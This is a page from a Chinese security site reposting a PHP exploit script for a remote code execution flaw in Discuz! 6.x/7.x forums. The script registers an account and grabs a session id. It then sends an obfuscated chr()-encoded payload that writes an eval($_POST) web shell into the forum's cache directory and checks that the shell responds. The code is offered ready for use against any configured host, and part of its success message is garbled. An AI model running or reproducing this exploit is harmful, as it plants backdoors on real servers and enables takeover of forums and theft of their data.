首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Discuz! 6.x/7.x Remote Code Execution Exploit
来源:www.80vul.com 作者:80vul 发布时间:2008-11-15  
#!/usr/bin/php
<?php
/**
 * Discuz! 6.x/7.x SODB-2008-13 Exp
 * By www.80vul.com
 * 文件中注释的变量值请自行修改
 */
$host = 'www.80vul.com';
// 服务器域名或IP
$path = '/discuz/';
// 程序所在的路径
$key  = 0;
// 上面的变量编辑好后,请将此处的值改为1

if (strpos($host, '://') !== false || strpos($path, '/') === false || $key !== 1)
     exit("专业点好不,先看看里面的注释 -,-\n");

error_reporting(7);
ini_set('max_execution_time', 0);

$key = time();
$cmd = 'action=register&username='.$key.'&password='.$key.'&email='.$key.'@80vul.com&_DCACHE=1';
$resp = send();

preg_match('/logout=yes&amp;formhash=[a-z0-9]{8}&amp;sid=([a-zA-Z0-9]{6})/', $resp, $sid);

if (!$sid)
    exit("哦,大概是没有开启WAP注册吧 -,-\n");

$cmd = 'stylejump[1]=1&styleid=1&inajax=1&transsidstatus=1&sid='.$sid[1].'&creditsformula=${${fputs(fopen(chr(46).chr(46).chr(47).chr(102).chr(111).chr(114).chr(117).chr(109).chr(100).chr(97).chr(116).chr(97).chr(47).chr(99).chr(97).chr(99).chr(104).chr(101).chr(47).chr(101).chr(118).chr(97).chr(108).chr(46).chr(112).chr(104).chr(112),chr(119).chr(43)),chr(60).chr(63).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(93).chr(41).chr(63).chr(62).chr(56).chr(48).chr(118).chr(117).chr(108))}}';
send();

$shell = 'http://'.$host.$path.'forumdata/cache/eval.php';

if (file_get_contents($shell) == '80vul')
    exit("好了,去看看你的WebShell吧:\t$shell\n里面的代码是:\t<?eval(\
___FCKpd___0
POST[c])?>\n别告诉我你不会用 -,-\n"); else exit("嗯,大概是该网站不存在漏洞,换一个吧 -,-\n"); function send() { global $host, $path, $url, $cmd; $data = "POST ".$path."wap/index.php HTTP/1.1\r\n"; $data .= "Accept: */*\r\n"; $data .= "Accept-Language: zh-cn\r\n"; $data .= "Referer: http://$host$path\r\n"; $data .= "Content-Type: application/x-www-form-urlencoded\r\n"; $data .= "User-Agent: Opera/9.62 (X11; Linux i686; U; zh-cn) Presto/2.1.1\r\n"; $data .= "Host: $host\r\n"; $data .= "Connection: Close\r\n"; $data .= "Content-Length: ".strlen($cmd)."\r\n\r\n"; $data .= $cmd; $fp = fsockopen($host, 80); fputs($fp, $data); $resp = ''; while ($fp && !feof($fp)) $resp .= fread($fp, 1024); return $resp; } ?>

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·linux/x86 setuid(0) & execve(/
·SlimCMS <= 1.0.0 (edit.php) Re
·MemHT Portal 4.0.1 SQL Injecti
·VeryPDF PDFView OCX ActiveX Op
·MS Windows Server Service Code
·Sudo <= 1.6.9p18 (Defaults set
·Net-SNMP <= 5.1.4/5.2.4/5.4.1
·Minigal b13 (index.php list) R
·Castle Rock Computing SNMPc <
·MS Windows Server Service Code
·Linux Kernel < 2.4.36.9/2.6.27
·smcFanControl 2.1.2 Multiple B
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved